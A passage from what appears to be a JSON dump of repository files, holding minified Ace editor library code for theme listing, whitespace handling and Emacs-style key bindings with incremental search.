    "content": "ace.define(\"ace/ext/themelist\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\"],function(e,t,n){\"use strict\";e(\"ace/lib/fixoldbrowsers\");var r=[[\"Chrome\"],[\"Clouds\"],[\"Crimson Editor\"],[\"Dawn\"],[\"Dreamweaver\"],[\"Eclipse\"],[\"GitHub\"],[\"IPlastic\"],[\"Solarized Light\"],[\"TextMate\"],[\"Tomorrow\"],[\"XCode\"],[\"Kuroir\"],[\"KatzenMilch\"],[\"SQL Server\",\"sqlserver\",\"light\"],[\"Ambiance\",\"ambiance\",\"dark\"],[\"Chaos\",\"chaos\",\"dark\"],[\"Clouds Midnight\",\"clouds_midnight\",\"dark\"],[\"Cobalt\",\"cobalt\",\"dark\"],[\"idle Fingers\",\"idle_fingers\",\"dark\"],[\"krTheme\",\"kr_theme\",\"dark\"],[\"Merbivore\",\"merbivore\",\"dark\"],[\"Merbivore Soft\",\"merbivore_soft\",\"dark\"],[\"Mono Industrial\",\"mono_industrial\",\"dark\"],[\"Monokai\",\"monokai\",\"dark\"],[\"Pastel on dark\",\"pastel_on_dark\",\"dark\"],[\"Solarized Dark\",\"solarized_dark\",\"dark\"],[\"Terminal\",\"terminal\",\"dark\"],[\"Tomorrow Night\",\"tomorrow_night\",\"dark\"],[\"Tomorrow Night Blue\",\"tomorrow_night_blue\",\"dark\"],[\"Tomorrow Night Bright\",\"tomorrow_night_bright\",\"dark\"],[\"Tomorrow Night 80s\",\"tomorrow_night_eighties\",\"dark\"],[\"Twilight\",\"twilight\",\"dark\"],[\"Vibrant Ink\",\"vibrant_ink\",\"dark\"]];t.themesByName={},t.themes=r.map(function(e){var n=e[1]||e[0].replace(/ /g,\"_\").toLowerCase(),r={caption:e[0],theme:\"ace/theme/\"+n,isDark:e[2]==\"dark\",name:n};return t.themesByName[n]=r,r})});\n                (function() {\n                    ace.require([\"ace/ext/themelist\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-whitespace.js",
    "content": "ace.define(\"ace/ext/whitespace\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../lib/lang\");t.$detectIndentation=function(e,t){function c(e){var t=0;for(var r=e;r<n.length;r+=e)t+=n[r]||0;return t}var n=[],r=[],i=0,s=0,o=Math.min(e.length,1e3);for(var u=0;u<o;u++){var a=e[u];if(!/^\\s*[^*+\\-\\s]/.test(a))continue;if(a[0]==\"\t\")i++,s=-Number.MAX_VALUE;else{var f=a.match(/^ */)[0].length;if(f&&a[f]!=\"\t\"){var l=f-s;l>0&&!(s%l)&&!(f%l)&&(r[l]=(r[l]||0)+1),n[f]=(n[f]||0)+1}s=f}while(u<o&&a[a.length-1]==\"\\\\\")a=e[u++]}var h=r.reduce(function(e,t){return e+t},0),p={score:0,length:0},d=0;for(var u=1;u<12;u++){var v=c(u);u==1?(d=v,v=n[1]?.9:.8,n.length||(v=0)):v/=d,r[u]&&(v+=r[u]/h),v>p.score&&(p={score:v,length:u})}if(p.score&&p.score>1.4)var m=p.length;if(i>d+1){if(m==1||d<i/4||p.score<1.8)m=undefined;return{ch:\"\t\",length:m}}if(d>i+1)return{ch:\" \",length:m}},t.detectIndentation=function(e){var n=e.getLines(0,1e3),r=t.$detectIndentation(n)||{};return r.ch&&e.setUseSoftTabs(r.ch==\" \"),r.length&&e.setTabSize(r.length),r},t.trimTrailingSpace=function(e,t){var n=e.getDocument(),r=n.getAllLines(),i=t?-1:0;for(var s=0,o=r.length;s<o;s++){var u=r[s],a=u.search(/\\s+$/);a>i&&n.removeInLine(s,a,u.length)}},t.convertIndentation=function(e,t,n){var i=e.getTabString()[0],s=e.getTabSize();n||(n=s),t||(t=i);var o=t==\"\t\"?t:r.stringRepeat(t,n),u=e.doc,a=u.getAllLines(),f={},l={};for(var c=0,h=a.length;c<h;c++){var p=a[c],d=p.match(/^\\s*/)[0];if(d){var v=e.$getStringScreenWidth(d)[0],m=Math.floor(v/s),g=v%s,y=f[m]||(f[m]=r.stringRepeat(o,m));y+=l[g]||(l[g]=r.stringRepeat(\" \",g)),y!=d&&(u.removeInLine(c,0,d.length),u.insertInLine({row:c,column:0},y))}}e.setTabSize(n),e.setUseSoftTabs(t==\" \")},t.$parseStringArg=function(e){var t={};/t/.test(e)?t.ch=\"\t\":/s/.test(e)&&(t.ch=\" \");var n=e.match(/\\d+/);return n&&(t.length=parseInt(n[0],10)),t},t.$parseArg=function(e){return e?typeof e==\"string\"?t.$parseStringArg(e):typeof e.text==\"string\"?t.$parseStringArg(e.text):e:{}},t.commands=[{name:\"detectIndentation\",exec:function(e){t.detectIndentation(e.session)}},{name:\"trimTrailingSpace\",exec:function(e){t.trimTrailingSpace(e.session)}},{name:\"convertIndentation\",exec:function(e,n){var r=t.$parseArg(n);t.convertIndentation(e.session,r.ch,r.length)}},{name:\"setIndentation\",exec:function(e,n){var r=t.$parseArg(n);r.length&&e.session.setTabSize(r.length),r.ch&&e.session.setUseSoftTabs(r.ch==\" \")}}]});\n                (function() {\n                    ace.require([\"ace/ext/whitespace\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/keybinding-emacs.js",
    "content": "ace.define(\"ace/occur\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/search\",\"ace/edit_session\",\"ace/search_highlight\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";function a(){}var r=e(\"./lib/oop\"),i=e(\"./range\").Range,s=e(\"./search\").Search,o=e(\"./edit_session\").EditSession,u=e(\"./search_highlight\").SearchHighlight;r.inherits(a,s),function(){this.enter=function(e,t){if(!t.needle)return!1;var n=e.getCursorPosition();this.displayOccurContent(e,t);var r=this.originalToOccurPosition(e.session,n);return e.moveCursorToPosition(r),!0},this.exit=function(e,t){var n=t.translatePosition&&e.getCursorPosition(),r=n&&this.occurToOriginalPosition(e.session,n);return this.displayOriginalContent(e),r&&e.moveCursorToPosition(r),!0},this.highlight=function(e,t){var n=e.$occurHighlight=e.$occurHighlight||e.addDynamicMarker(new u(null,\"ace_occur-highlight\",\"text\"));n.setRegexp(t),e._emit(\"changeBackMarker\")},this.displayOccurContent=function(e,t){this.$originalSession=e.session;var n=this.matchingLines(e.session,t),r=n.map(function(e){return e.content}),i=new o(r.join(\"\\n\"));i.$occur=this,i.$occurMatchingLines=n,e.setSession(i),this.$useEmacsStyleLineStart=this.$originalSession.$useEmacsStyleLineStart,i.$useEmacsStyleLineStart=this.$useEmacsStyleLineStart,this.highlight(i,t.re),i._emit(\"changeBackMarker\")},this.displayOriginalContent=function(e){e.setSession(this.$originalSession),this.$originalSession.$useEmacsStyleLineStart=this.$useEmacsStyleLineStart},this.originalToOccurPosition=function(e,t){var n=e.$occurMatchingLines,r={row:0,column:0};if(!n)return r;for(var i=0;i<n.length;i++)if(n[i].row===t.row)return{row:i,column:t.column};return r},this.occurToOriginalPosition=function(e,t){var n=e.$occurMatchingLines;return!n||!n[t.row]?t:{row:n[t.row].row,column:t.column}},this.matchingLines=function(e,t){t=r.mixin({},t);if(!e||!t.needle)return[];var n=new s;return n.set(t),n.findAll(e).reduce(function(t,n){var r=n.start.row,i=t[t.length-1];return i&&i.row===r?t:t.concat({row:r,content:e.getLine(r)})},[])}}.call(a.prototype);var f=e(\"./lib/dom\");f.importCssString(\".ace_occur-highlight {\\n    border-radius: 4px;\\n    background-color: rgba(87, 255, 8, 0.25);\\n    position: absolute;\\n    z-index: 4;\\n    -moz-box-sizing: border-box;\\n    -webkit-box-sizing: border-box;\\n    box-sizing: border-box;\\n    box-shadow: 0 0 4px rgb(91, 255, 50);\\n}\\n.ace_dark .ace_occur-highlight {\\n    background-color: rgb(80, 140, 85);\\n    box-shadow: 0 0 4px rgb(60, 120, 70);\\n}\\n\",\"incremental-occur-highlighting\"),t.Occur=a}),ace.define(\"ace/commands/occur_commands\",[\"require\",\"exports\",\"module\",\"ace/config\",\"ace/occur\",\"ace/keyboard/hash_handler\",\"ace/lib/oop\"],function(e,t,n){function f(){}var r=e(\"../config\"),i=e(\"../occur\").Occur,s={name:\"occur\",exec:function(e,t){var n=!!e.session.$occur,r=(new i).enter(e,t);r&&!n&&f.installIn(e)},readOnly:!0},o=[{name:\"occurexit\",bindKey:\"esc|Ctrl-G\",exec:function(e){var t=e.session.$occur;if(!t)return;t.exit(e,{}),e.session.$occur||f.uninstallFrom(e)},readOnly:!0},{name:\"occuraccept\",bindKey:\"enter\",exec:function(e){var t=e.session.$occur;if(!t)return;t.exit(e,{translatePosition:!0}),e.session.$occur||f.uninstallFrom(e)},readOnly:!0}],u=e(\"../keyboard/hash_handler\").HashHandler,a=e(\"../lib/oop\");a.inherits(f,u),function(){this.isOccurHandler=!0,this.attach=function(e){u.call(this,o,e.commands.platform),this.$editor=e};var e=this.handleKeyboard;this.handleKeyboard=function(t,n,r,i){var s=e.call(this,t,n,r,i);return s&&s.command?s:undefined}}.call(f.prototype),f.installIn=function(e){var t=new this;e.keyBinding.addKeyboardHandler(t),e.commands.addCommands(o)},f.uninstallFrom=function(e){e.commands.removeCommands(o);var t=e.getKeyboardHandler();t.isOccurHandler&&e.keyBinding.removeKeyboardHandler(t)},t.occurStartCommand=s}),ace.define(\"ace/commands/incremental_search_commands\",[\"require\",\"exports\",\"module\",\"ace/config\",\"ace/lib/oop\",\"ace/keyboard/hash_handler\",\"ace/commands/occur_commands\"],function(e,t,n){function u(e){this.$iSearch=e}var r=e(\"../config\"),i=e(\"../lib/oop\"),s=e(\"../keyboard/hash_handler\").HashHandler,o=e(\"./occur_commands\").occurStartCommand;t.iSearchStartCommands=[{name:\"iSearch\",bindKey:{win:\"Ctrl-F\",mac:\"Command-F\"},exec:function(e,t){r.loadModule([\"core\",\"ace/incremental_search\"],function(n){var r=n.iSearch=n.iSearch||new n.IncrementalSearch;r.activate(e,t.backwards),t.jumpToFirstMatch&&r.next(t)})},readOnly:!0},{name:\"iSearchBackwards\",exec:function(e,t){e.execCommand(\"iSearch\",{backwards:!0})},readOnly:!0},{name:\"iSearchAndGo\",bindKey:{win:\"Ctrl-K\",mac:\"Command-G\"},exec:function(e,t){e.execCommand(\"iSearch\",{jumpToFirstMatch:!0,useCurrentOrPrevSearch:!0})},readOnly:!0},{name:\"iSearchBackwardsAndGo\",bindKey:{win:\"Ctrl-Shift-K\",mac:\"Command-Shift-G\"},exec:function(e){e.execCommand(\"iSearch\",{jumpToFirstMatch:!0,backwards:!0,useCurrentOrPrevSearch:!0})},readOnly:!0}],t.iSearchCommands=[{name:\"restartSearch\",bindKey:{win:\"Ctrl-F\",mac:\"Command-F\"},exec:function(e){e.cancelSearch(!0)}},{name:\"searchForward\",bindKey:{win:\"Ctrl-S|Ctrl-K\",mac:\"Ctrl-S|Command-G\"},exec:function(e,t){t.useCurrentOrPrevSearch=!0,e.next(t)}},{name:\"searchBackward\",bindKey:{win:\"Ctrl-R|Ctrl-Shift-K\",mac:\"Ctrl-R|Command-Shift-G\"},exec:function(e,t){t.useCurrentOrPrevSearch=!0,t.backwards=!0,e.next(t)}},{name:\"extendSearchTerm\",exec:function(e,t){e.addString(t)}},{name:\"extendSearchTermSpace\",bindKey:\"space\",exec:function(e){e.addString(\" \")}},{name:\"shrinkSearchTerm\",bindKey:\"backspace\",exec:function(e){e.removeChar()}},{name:\"confirmSearch\",bindKey:\"return\",exec:function(e){e.deactivate()}},{name:\"cancelSearch\",bindKey:\"esc|Ctrl-G\",exec:function(e){e.deactivate(!0)}},{name:\"occurisearch\",bindKey:\"Ctrl-O\",exec:function(e){var t=i.mixin({},e.$options);e.deactivate(),o.exec(e.$editor,t)}},{name:\"yankNextWord\",bindKey:\"Ctrl-w\",exec:function(e){var t=e.$editor,n=t.selection.getRangeOfMovements(function(e){e.moveCursorWordRight()}),r=t.session.getTextRange(n);e.addString(r)}},{name:\"yankNextChar\",bindKey:\"Ctrl-Alt-y\",exec:function(e){var t=e.$editor,n=t.selection.getRangeOfMovements(function(e){e.moveCursorRight()}),r=t.session.getTextRange(n);e.addString(r)}},{name:\"recenterTopBottom\",bindKey:\"Ctrl-l\",exec:function(e){e.$editor.execCommand(\"recenterTopBottom\")}},{name:\"selectAllMatches\",bindKey:\"Ctrl-space\",exec:function(e){var t=e.$editor,n=t.session.$isearchHighlight,r=n&&n.cache?n.cache.reduce(function(e,t){return e.concat(t?t:[])},[]):[];e.deactivate(!1),r.forEach(t.selection.addRange.bind(t.selection))}},{name:\"searchAsRegExp\",bindKey:\"Alt-r\",exec:function(e){e.convertNeedleToRegExp()}}].map(function(e){return e.readOnly=!0,e.isIncrementalSearchCommand=!0,e.scrollIntoView=\"animate-cursor\",e}),i.inherits(u,s),function(){this.attach=function(e){var n=this.$iSearch;s.call(this,t.iSearchCommands,e.commands.platform),this.$commandExecHandler=e.commands.addEventListener(\"exec\",function(t){if(!t.command.isIncrementalSearchCommand)return undefined;t.stopPropagation(),t.preventDefault();var r=e.session.getScrollTop(),i=t.command.exec(n,t.args||{});return e.renderer.scrollCursorIntoView(null,.5),e.renderer.animateScrolling(r),i})},this.detach=function(e){if(!this.$commandExecHandler)return;e.commands.removeEventListener(\"exec\",this.$commandExecHandler),delete this.$commandExecHandler};var e=this.handleKeyboard;this.handleKeyboard=function(t,n,r,i){if((n===1||n===8)&&r===\"v\"||n===1&&r===\"y\")return null;var s=e.call(this,t,n,r,i);if(s.command)return s;if(n==-1){var o=this.commands.extendSearchTerm;if(o)return{command:o,args:r}}return{command:\"null\",passEvent:n==0||n==4}}}.call(u.prototype),t.IncrementalSearchKeyboardHandler=u}),ace.define(\"ace/incremental_search\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/search\",\"ace/search_highlight\",\"ace/commands/incremental_search_commands\",\"ace/lib/dom\",\"ace/commands/command_manager\",\"ace/editor\",\"ace/config\"],function(e,t,n){\"use strict\";function f(){this.$options={wrap:!1,skipCurrent:!1},this.$keyboardHandler=new a(this)}function l(e){return e instanceof RegExp}function c(e){var t=String(e),n=t.indexOf(\"/\"),r=t.lastIndexOf(\"/\");return{expression:t.slice(n+1,r),flags:t.slice(r+1)}}function h(e,t){try{return new RegExp(e,t)}catch(n){return e}}function p(e){return h(e.expression,e.flags)}var r=e(\"./lib/oop\"),i=e(\"./range\").Range,s=e(\"./search\").Search,o=e(\"./search_highlight\").SearchHighlight,u=e(\"./commands/incremental_search_commands\"),a=u.IncrementalSearchKeyboardHandler;r.inherits(f,s),function(){this.activate=function(e,t){this.$editor=e,this.$startPos=this.$currentPos=e.getCursorPosition(),this.$options.needle=\"\",this.$options.backwards=t,e.keyBinding.addKeyboardHandler(this.$keyboardHandler),this.$originalEditorOnPaste=e.onPaste,e.onPaste=this.onPaste.bind(this),this.$mousedownHandler=e.addEventListener(\"mousedown\",this.onMouseDown.bind(this)),this.selectionFix(e),this.statusMessage(!0)},this.deactivate=function(e){this.cancelSearch(e);var t=this.$editor;t.keyBinding.removeKeyboardHandler(this.$keyboardHandler),this.$mousedownHandler&&(t.removeEventListener(\"mousedown\",this.$mousedownHandler),delete this.$mousedownHandler),t.onPaste=this.$originalEditorOnPaste,this.message(\"\")},this.selectionFix=function(e){e.selection.isEmpty()&&!e.session.$emacsMark&&e.clearSelection()},this.highlight=function(e){var t=this.$editor.session,n=t.$isearchHighlight=t.$isearchHighlight||t.addDynamicMarker(new o(null,\"ace_isearch-result\",\"text\"));n.setRegexp(e),t._emit(\"changeBackMarker\")},this.cancelSearch=function(e){var t=this.$editor;return this.$prevNeedle=this.$options.needle,this.$options.needle=\"\",e?(t.moveCursorToPosition(this.$startPos),this.$currentPos=this.$startPos):t.pushEmacsMark&&t.pushEmacsMark(this.$startPos,!1),this.highlight(null),i.fromPoints(this.$currentPos,this.$currentPos)},this.highlightAndFindWithNeedle=function(e,t){if(!this.$editor)return null;var n=this.$options;t&&(n.needle=t.call(this,n.needle||\"\")||\"\");if(n.needle.length===0)return this.statusMessage(!0),this.cancelSearch(!0);n.start=this.$currentPos;var r=this.$editor.session,s=this.find(r),o=this.$editor.emacsMark?!!this.$editor.emacsMark():!this.$editor.selection.isEmpty();return s&&(n.backwards&&(s=i.fromPoints(s.end,s.start)),this.$editor.selection.setRange(i.fromPoints(o?this.$startPos:s.end,s.end)),e&&(this.$currentPos=s.end),this.highlight(n.re)),this.statusMessage(s),s},this.addString=function(e){return this.highlightAndFindWithNeedle(!1,function(t){if(!l(t))return t+e;var n=c(t);return n.expression+=e,p(n)})},this.removeChar=function(e){return this.highlightAndFindWithNeedle(!1,function(e){if(!l(e))return e.substring(0,e.length-1);var t=c(e);return t.expression=t.expression.substring(0,t.expression.length-1),p(t)})},this.next=function(e){return e=e||{},this.$options.backwards=!!e.backwards,this.$currentPos=this.$editor.getCursorPosition(),this.highlightAndFindWithNeedle(!0,function(t){return e.useCurrentOrPrevSearch&&t.length===0?this.$prevNeedle||\"\":t})},this.onMouseDown=function(e){return this.deactivate(),!0},this.onPaste=function(e){this.addString(e)},this.convertNeedleToRegExp=function(){return this.highlightAndFindWithNeedle(!1,function(e){return l(e)?e:h(e,\"ig\")})},this.convertNeedleToString=function(){return this.highlightAndFindWithNeedle(!1,function(e){return l(e)?c(e).expression:e})},this.statusMessage=function(e){var t=this.$options,n=\"\";n+=t.backwards?\"reverse-\":\"\",n+=\"isearch: \"+t.needle,n+=e?\"\":\" (not found)\",this.message(n)},this.message=function(e){this.$editor.showCommandLine?(this.$editor.showCommandLine(e),this.$editor.focus()):console.log(e)}}.call(f.prototype),t.IncrementalSearch=f;var d=e(\"./lib/dom\");d.importCssString&&d.importCssString(\".ace_marker-layer .ace_isearch-result {  position: absolute;  z-index: 6;  -moz-box-sizing: border-box;  -webkit-box-sizing: border-box;  box-sizing: border-box;}div.ace_isearch-result {  border-radius: 4px;  background-color: rgba(255, 200, 0, 0.5);  box-shadow: 0 0 4px rgb(255, 200, 0);}.ace_dark div.ace_isearch-result {  background-color: rgb(100, 110, 160);  box-shadow: 0 0 4px rgb(80, 90, 140);}\",\"incremental-search-highlighting\");var v=e(\"./commands/command_manager\");(function(){this.setupIncrementalSearch=function(e,t){if(this.usesIncrementalSearch==t)return;this.usesIncrementalSearch=t;var n=u.iSearchStartCommands,r=t?\"addCommands\":\"removeCommands\";this[r](n)}}).call(v.CommandManager.prototype);var m=e(\"./editor\").Editor;e(\"./config\").defineOptions(m.prototype,\"editor\",{useIncrementalSearch:{set:function(e){this.keyBinding.$handlers.forEach(function(t){t.setupIncrementalSearch&&t.setupIncrementalSearch(this,e)}),this._emit(\"incrementalSearchSettingChanged\",{isEnabled:e})}}})}),ace.define(\"ace/keyboard/emacs\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/incremental_search\",\"ace/commands/incremental_search_commands\",\"ace/keyboard/hash_handler\",\"ace/lib/keys\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\");e(\"../incremental_search\");var i=e(\"../commands/incremental_search_commands\"),s=function(e,t){var n=this.scroller.getBoundingClientRect(),r=Math.floor((e+this.scrollLeft-n.left-this.$padding)/this.characterWidth),i=Math.floor((t+this.scrollTop-n.top)/this.lineHeight);return this.session.screenToDocumentPosition(i,r)},o=e(\"./hash_handler\").HashHandler;t.handler=new o,t.handler.isEmacs=!0,t.handler.$id=\"ace/keyboard/emacs\";var u=!1,a,f;t.handler.attach=function(e){u||(u=!0,r.importCssString(\"            .emacs-mode .ace_cursor{                border: 1px rgba(50,250,50,0.8) solid!important;                -moz-box-sizing: border-box!important;                -webkit-box-sizing: border-box!important;                box-sizing: border-box!important;                background-color: rgba(0,250,0,0.9);                opacity: 0.5;            }            .emacs-mode .ace_hidden-cursors .ace_cursor{                opacity: 1;                background-color: transparent;            }            .emacs-mode .ace_overwrite-cursors .ace_cursor {                opacity: 1;                background-color: transparent;                border-width: 0 0 2px 2px !important;            }            .emacs-mode .ace_text-layer {                z-index: 4            }            .emacs-mode .ace_cursor-layer {                z-index: 2            }\",\"emacsMode\")),a=e.session.$selectLongWords,e.session.$selectLongWords=!0,f=e.session.$useEmacsStyleLineStart,e.session.$useEmacsStyleLineStart=!0,e.session.$emacsMark=null,e.session.$emacsMarkRing=e.session.$emacsMarkRing||[],e.emacsMark=function(){return this.session.$emacsMark},e.setEmacsMark=function(e){this.session.$emacsMark=e},e.pushEmacsMark=function(e,t){var n=this.session.$emacsMark;n&&this.session.$emacsMarkRing.push(n),!e||t?this.setEmacsMark(e):this.session.$emacsMarkRing.push(e)},e.popEmacsMark=function(){var e=this.emacsMark();return e?(this.setEmacsMark(null),e):this.session.$emacsMarkRing.pop()},e.getLastEmacsMark=function(e){return this.session.$emacsMark||this.session.$emacsMarkRing.slice(-1)[0]},e.emacsMarkForSelection=function(e){var t=this.selection,n=this.multiSelect?this.multiSelect.getAllRanges().length:1,r=t.index||0,i=this.session.$emacsMarkRing,s=i.length-(n-r),o=i[s]||t.anchor;return e&&i.splice(s,1,\"row\"in e&&\"column\"in e?e:undefined),o},e.on(\"click\",c),e.on(\"changeSession\",l),e.renderer.screenToTextCoordinates=s,e.setStyle(\"emacs-mode\"),e.commands.addCommands(v),t.handler.platform=e.commands.platform,e.$emacsModeHandler=this,e.addEventListener(\"copy\",this.onCopy),e.addEventListener(\"paste\",this.onPaste)},t.handler.detach=function(e){delete e.renderer.screenToTextCoordinates,e.session.$selectLongWords=a,e.session.$useEmacsStyleLineStart=f,e.removeEventListener(\"click\",c),e.removeEventListener(\"changeSession\",l),e.unsetStyle(\"emacs-mode\"),e.commands.removeCommands(v),e.removeEventListener(\"copy\",this.onCopy),e.removeEventListener(\"paste\",this.onPaste),e.$emacsModeHandler=null};var l=function(e){e.oldSession&&(e.oldSession.$selectLongWords=a,e.oldSession.$useEmacsStyleLineStart=f),a=e.session.$selectLongWords,e.session.$selectLongWords=!0,f=e.session.$useEmacsStyleLineStart,e.session.$useEmacsStyleLineStart=!0,e.session.hasOwnProperty(\"$emacsMark\")||(e.session.$emacsMark=null),e.session.hasOwnProperty(\"$emacsMarkRing\")||(e.session.$emacsMarkRing=[])},c=function(e){e.editor.session.$emacsMark=null},h=e(\"../lib/keys\").KEY_MODS,p={C:\"ctrl\",S:\"shift\",M:\"alt\",CMD:\"command\"},d=[\"C-S-M-CMD\",\"S-M-CMD\",\"C-M-CMD\",\"C-S-CMD\",\"C-S-M\",\"M-CMD\",\"S-CMD\",\"S-M\",\"C-CMD\",\"C-M\",\"C-S\",\"CMD\",\"M\",\"S\",\"C\"];d.forEach(function(e){var t=0;e.split(\"-\").forEach(function(e){t|=h[p[e]]}),p[t]=e.toLowerCase()+\"-\"}),t.handler.onCopy=function(e,n){if(n.$handlesEmacsOnCopy)return;n.$handlesEmacsOnCopy=!0,t.handler.commands.killRingSave.exec(n),n.$handlesEmacsOnCopy=!1},t.handler.onPaste=function(e,t){t.pushEmacsMark(t.getCursorPosition())},t.handler.bindKey=function(e,t){typeof e==\"object\"&&(e=e[this.platform]);if(!e)return;var n=this.commandKeyBinding;e.split(\"|\").forEach(function(e){e=e.toLowerCase(),n[e]=t;var r=e.split(\" \").slice(0,-1);r.reduce(function(e,t,n){var r=e[n-1]?e[n-1]+\" \":\"\";return e.concat([r+t])},[]).forEach(function(e){n[e]||(n[e]=\"null\")})},this)},t.handler.getStatusText=function(e,t){var n=\"\";return t.count&&(n+=t.count),t.keyChain&&(n+=\" \"+t.keyChain),n},t.handler.handleKeyboard=function(e,t,n,r){if(r===-1)return undefined;var i=e.editor;i._signal(\"changeStatus\");if(t==-1){i.pushEmacsMark();if(e.count){var s=(new Array(e.count+1)).join(n);return e.count=null,{command:\"insertstring\",args:s}}}var o=p[t];if(o==\"c-\"||e.count){var u=parseInt(n[n.length-1]);if(typeof u==\"number\"&&!isNaN(u))return e.count=Math.max(e.count,0)||0,e.count=10*e.count+u,{command:\"null\"}}o&&(n=o+n),e.keyChain&&(n=e.keyChain+=\" \"+n);var a=this.commandKeyBinding[n];e.keyChain=a==\"null\"?n:\"\";if(!a)return undefined;if(a===\"null\")return{command:\"null\"};if(a===\"universalArgument\")return e.count=-4,{command:\"null\"};var f;typeof a!=\"string\"&&(f=a.args,a.command&&(a=a.command),a===\"goorselect\"&&(a=i.emacsMark()?f[1]:f[0],f=null));if(typeof a==\"string\"){(a===\"insertstring\"||a===\"splitline\"||a===\"togglecomment\")&&i.pushEmacsMark(),a=this.commands[a]||i.commands.commands[a];if(!a)return undefined}!a.readOnly&&!a.isYank&&(e.lastCommand=null),!a.readOnly&&i.emacsMark()&&i.setEmacsMark(null);if(e.count){var u=e.count;e.count=0;if(!a||!a.handlesCount)return{args:f,command:{exec:function(e,t){for(var n=0;n<u;n++)a.exec(e,t)},multiSelectAction:a.multiSelectAction}};f||(f={}),typeof f==\"object\"&&(f.count=u)}return{command:a,args:f}},t.emacsKeys={\"Up|C-p\":{command:\"goorselect\",args:[\"golineup\",\"selectup\"]},\"Down|C-n\":{command:\"goorselect\",args:[\"golinedown\",\"selectdown\"]},\"Left|C-b\":{command:\"goorselect\",args:[\"gotoleft\",\"selectleft\"]},\"Right|C-f\":{command:\"goorselect\",args:[\"gotoright\",\"selectright\"]},\"C-Left|M-b\":{command:\"goorselect\",args:[\"gotowordleft\",\"selectwordleft\"]},\"C-Right|M-f\":{command:\"goorselect\",args:[\"gotowordright\",\"selectwordright\"]},\"Home|C-a\":{command:\"goorselect\",args:[\"gotolinestart\",\"selecttolinestart\"]},\"End|C-e\":{command:\"goorselect\",args:[\"gotolineend\",\"selecttolineend\"]},\"C-Home|S-M-,\":{command:\"goorselect\",args:[\"gotostart\",\"selecttostart\"]},\"C-End|S-M-.\":{command:\"goorselect\",args:[\"gotoend\",\"selecttoend\"]},\"S-Up|S-C-p\":\"selectup\",\"S-Down|S-C-n\":\"selectdown\",\"S-Left|S-C-b\":\"selectleft\",\"S-Right|S-C-f\":\"selectright\",\"S-C-Left|S-M-b\":\"selectwordleft\",\"S-C-Right|S-M-f\":\"selectwordright\",\"S-Home|S-C-a\":\"selecttolinestart\",\"S-End|S-C-e\":\"selecttolineend\",\"S-C-Home\":\"selecttostart\",\"S-C-End\":\"selecttoend\",\"C-l\":\"recenterTopBottom\",\"M-s\":\"centerselection\",\"M-g\":\"gotoline\",\"C-x C-p\":\"selectall\",\"C-Down\":{command:\"goorselect\",args:[\"gotopagedown\",\"selectpagedown\"]},\"C-Up\":{command:\"goorselect\",args:[\"gotopageup\",\"selectpageup\"]},\"PageDown|C-v\":{command:\"goorselect\",args:[\"gotopagedown\",\"selectpagedown\"]},\"PageUp|M-v\":{command:\"goorselect\",args:[\"gotopageup\",\"selectpageup\"]},\"S-C-Down\":\"selectpagedown\",\"S-C-Up\":\"selectpageup\",\"C-s\":\"iSearch\",\"C-r\":\"iSearchBackwards\",\"M-C-s\":\"findnext\",\"M-C-r\":\"findprevious\",\"S-M-5\":\"replace\",Backspace:\"backspace\",\"Delete|C-d\":\"del\",\"Return|C-m\":{command:\"insertstring\",args:\"\\n\"},\"C-o\":\"splitline\",\"M-d|C-Delete\":{command:\"killWord\",args:\"right\"},\"C-Backspace|M-Backspace|M-Delete\":{command:\"killWord\",args:\"left\"},\"C-k\":\"killLine\",\"C-y|S-Delete\":\"yank\",\"M-y\":\"yankRotate\",\"C-g\":\"keyboardQuit\",\"C-w|C-S-W\":\"killRegion\",\"M-w\":\"killRingSave\",\"C-Space\":\"setMark\",\"C-x C-x\":\"exchangePointAndMark\",\"C-t\":\"transposeletters\",\"M-u\":\"touppercase\",\"M-l\":\"tolowercase\",\"M-/\":\"autocomplete\",\"C-u\":\"universalArgument\",\"M-;\":\"togglecomment\",\"C-/|C-x u|S-C--|C-z\":\"undo\",\"S-C-/|S-C-x u|C--|S-C-z\":\"redo\",\"C-x r\":\"selectRectangularRegion\",\"M-x\":{command:\"focusCommandLine\",args:\"M-x \"}},t.handler.bindKeys(t.emacsKeys),t.handler.addCommands({recenterTopBottom:function(e){var t=e.renderer,n=t.$cursorLayer.getPixelPosition(),r=t.$size.scrollerHeight-t.lineHeight,i=t.scrollTop;Math.abs(n.top-i)<2?i=n.top-r:Math.abs(n.top-i-r*.5)<2?i=n.top:i=n.top-r*.5,e.session.setScrollTop(i)},selectRectangularRegion:function(e){e.multiSelect.toggleBlockSelection()},setMark:{exec:function(e,t){function u(){var t=e.popEmacsMark();t&&e.moveCursorToPosition(t)}if(t&&t.count){e.inMultiSelectMode?e.forEachSelection(u):u(),u();return}var n=e.emacsMark(),r=e.selection.getAllRanges(),i=r.map(function(e){return{row:e.start.row,column:e.start.column}}),s=!0,o=r.every(function(e){return e.isEmpty()});if(s&&(n||!o)){e.inMultiSelectMode?e.forEachSelection({exec:e.clearSelection.bind(e)}):e.clearSelection(),n&&e.pushEmacsMark(null);return}if(!n){i.forEach(function(t){e.pushEmacsMark(t)}),e.setEmacsMark(i[i.length-1]);return}},readOnly:!0,handlesCount:!0},exchangePointAndMark:{exec:function(t,n){var r=t.selection;if(!n.count&&!r.isEmpty()){r.setSelectionRange(r.getRange(),!r.isBackwards());return}if(n.count){var i={row:r.lead.row,column:r.lead.column};r.clearSelection(),r.moveCursorToPosition(t.emacsMarkForSelection(i))}else r.selectToPosition(t.emacsMarkForSelection())},readOnly:!0,handlesCount:!0,multiSelectAction:\"forEach\"},killWord:{exec:function(e,n){e.clearSelection(),n==\"left\"?e.selection.selectWordLeft():e.selection.selectWordRight();var r=e.getSelectionRange(),i=e.session.getTextRange(r);t.killRing.add(i),e.session.remove(r),e.clearSelection()},multiSelectAction:\"forEach\"},killLine:function(e){e.pushEmacsMark(null);var 